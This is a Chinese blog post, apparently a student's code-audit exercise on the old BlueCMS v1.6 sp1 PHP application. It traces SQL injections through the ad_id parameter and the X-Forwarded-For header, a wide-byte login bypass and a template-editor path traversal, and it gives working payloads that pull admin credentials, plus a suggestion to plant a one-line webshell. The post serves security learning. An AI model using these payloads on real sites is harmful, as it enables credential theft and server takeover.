前言

一些想做一些代码审计的内容,之前只有做过简单的PHP代码段的审计,没有尝试过整站的代码审计的工作。所以一切重新开始,从最简单的开始。找一些比较老和简单的CMS进行代码审计的训练,熟悉流程,熟悉用PHP调试的方法跟进。

Bluecms_v1.6_sp1

SQL注入一

/uploads/uc_client路径下中可以看到

1
2
3
4
5
6
7
8
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

这里可以看到ad_id传入一个ID值,判断该值是否为空。在代入自定义的函数getone()

查找函数getone()到路径\uploads\include\mysql.class.php

1
2
3
4
5
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

这里封装成了简单的SQL查询函数,函数的第二个参数指定数组类型,MYSQL_ASSOC是关联数组。

PhpStorm调试跟进,跟进到了\uploads\include\common.fun.php 这个一个公共函数的文件。

1
2
3
4
5
function table($table)
{
global $pre;
return $pre .$table ;
}

$pre的一个全局变量,在uploads\data\config.php定义的值为blue_即安装文件时的表面前缀。

所以$table函数返回的是一个表名blue_ad

进一步跟进就到了getone()函数进行SQL语句的查询,再进入一个time_set判断过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
else
{
if($ad['end_time'] < time())
{
$ad_content = $ad['exp_content'];
}
else
{
$ad_content = $ad['content'];
}
}

再做个替换进行输出

1
2
3
4
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

传入Payload利用PHPstorm调试进行跟进测试。

$ad_id直接代入$sql进行SQL查询。

继续跟进返回查询结果,注入成功返回admin用户的username:password

SQL注入二

\uploads\include\common.fun.php文件中有getip()函数,该函数是用来获取用户IP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

getenv函数用来获取一个环境变量的值。获取到的$ip值没有进行任务校验。

全局搜索getip()函数,\uploads\comment.php文件有用到这个函数。而且还涉及到了SQL语言操作。

1
2
3
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);

SQL注入就是要在已有的SQL查询语句上进行拼接,可以利用拼接的点就是".getip()."这个点,首先要知道的是在SQL语句中的INSERT INTO来插入内容是可以一次插入多条数据的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

mysql> insert into user (id,username,password) value ('1','a','a'),('2','b','b');
Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: 0 Warnings: 0

mysql> select * from user;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 1 | a | a |
| 2 | b | b |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql>

这样我们就可以先闭合前一条插入,然后利用第二条插入的数据进行SQL注入。Payload如下:

1
1','1'),('','1','1','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1

可以利用phpstorm调试看下代入的结果。

1
2
$sql = INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','1','1','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";

从代入结果来看,用1','1'),来闭合第一条添加的数据,并在后面拼接插入第二条数据。post_id, user_id对于的是评论的ID值和用户的ID值。同时我们利用content来保存我们注入得到的数据内容,并显示出来。

发送请求包,对X-Forwarded-For插入Payload

并得到返回结果

getip()函数也在\uploads\guest_book.php中利用到。

1
2
3
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);

这里是用$online_ip来得到getip()函数的返回值。

同样的方法我们可以对这个点进行SQL注入。这里直接拼接前面的就行。Payload如下:

1
1',(select concat(admin_name,':',pwd) from blue_admin))#

拼接后的SQL查询语句如下,#注释后面多余的字符。

1
2
3
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
VALUES ('', '$rid', '$user_id', '$timestamp', '1',(select concat(admin_name,':',pwd) from blue_admin))#', '$content')";
$db->query($sql);

burpsuite发送请求包

成功注入得到数据内容。

SQL注入三(宽字节注入)

在配置文件\uploads\data\config.php中设置了cms的默认字符集为gb2312为宽字节字节

1
define('BLUE_CHARSET','gb2312');

同时在\uploads\include\common.inc.php对各种参数进行了转义处理。

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}

\include\mysql.class.php中也有MySQL的默认字节为GBK为宽字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
} else {
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
}
}
}
if($dbname){
if(mysql_select_db($dbname, $this->linkid)===false){
$this->dbshow("Can't select MySQL database($dbname)!");
}
}
}

根据宽字节注入的原理:CMS中编码为GB2312,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK

%DF'会被PHP当中的addslashes函数转义为%DF\' ,“\”既URL里的%5C,那么也就是说,%DF'会被转成%DF%5C%27网站的字符集是gb2312,MYSQL使用的编码是GBK,就会认为%DF%5C%27是一个宽字符。也就是縗'。这样就可以得到单引号进行注入了。

分析代码,在\uploads\admin\login.php文件中。登录处有如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
setcookie('Blue[admin_name]', $admin_name, time()+86400);
setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
}
}else{
showmsg('您输入的用户名和密码有误');
}
showmsg('欢迎您 '.$admin_name.' 回来,现在将转向管理中心...', 'index.php');
}

跟进函数check_admin(),到文件\uploads\admin\include\common.fun.php

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

这里是可以利用万能密码进行绕过的,但是会对单引号进行转义。这个时候就能利用宽字节注入进行单引号的逃逸了。构造如下Payload

1
admin_name=admin%df' or 1=1#&admin_pwd=1

代入SQL语句拼接结果如下:

1
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='admin%df' or 1=1#' and pwd = md5('1')");

语句返回为true。绕过登录认证成功登录admin账号。

利用PHPstorm断点调试跟进。

进行正常的登录,PHPstorm进行调试。

进入跟进到mysql类文件里

绕过判断check_admin函数。

成功登录。

本地文件包含

在目录\uploads\admin\tpl_manage.php文件中有可以进行模板文件编辑的功能。

打开目标模板文件代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
elseif($act == 'edit'){
$file = $_GET['tpl_name'];
if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
showmsg('打开目标模板文件失败');
}
$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
fclose($handle);
$tpl['name'] = $file;
template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
$smarty->display('tpl_info.htm');
}

$file = $_GET['tpl_name'];GET方式获取文件名,这里没有对文件名进行任何处理,直接代入fopen函数拼接打开文件。这里可以利用../../../uploads/ad_js.php包含到本地的文件。

同时在这段读取的代码下面是有一段可以编辑的代码的。编辑的代码也没有做处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elseif($act == 'do_edit'){
$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
if(empty($tpl_name)){
return false;
}
$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
if(!$handle = @fopen($tpl, 'wb')){
showmsg("打开目标模版文件 $tpl 失败");
}
if(fwrite($handle, $tpl_content) === false){
showmsg('写入目标 $tpl 失败');
}
fclose($handle);
showmsg('编辑模板成功', 'tpl_manage.php');
}

代码中的$_POST['tpl_content']没有做处理,可以直接修改。

这样我们可以利用这个直接在/uploads/ad_js.php插入一句话木马。

结语

这是第一次看一整套CMS的源码,之前接触到的都是CTF中常见的代码片段。整套的CMS的审计难度还是挺大的,特别是像那种MVC框架的,这套代码的结构还是相对于简单,漏洞也没有太多的过滤函数需要去进行ByPass的。实习的暑假阶段也快结束了,这个暑假在实习公司这边学了不少关于应急响应和漏洞挖掘方面的东西,可能是因为比自己平时自学更具有实战性,可能性和未知性吧。接下来争取每周至少整理一篇代码审计方面的博客吧,一步一步的来,慢慢往上爬。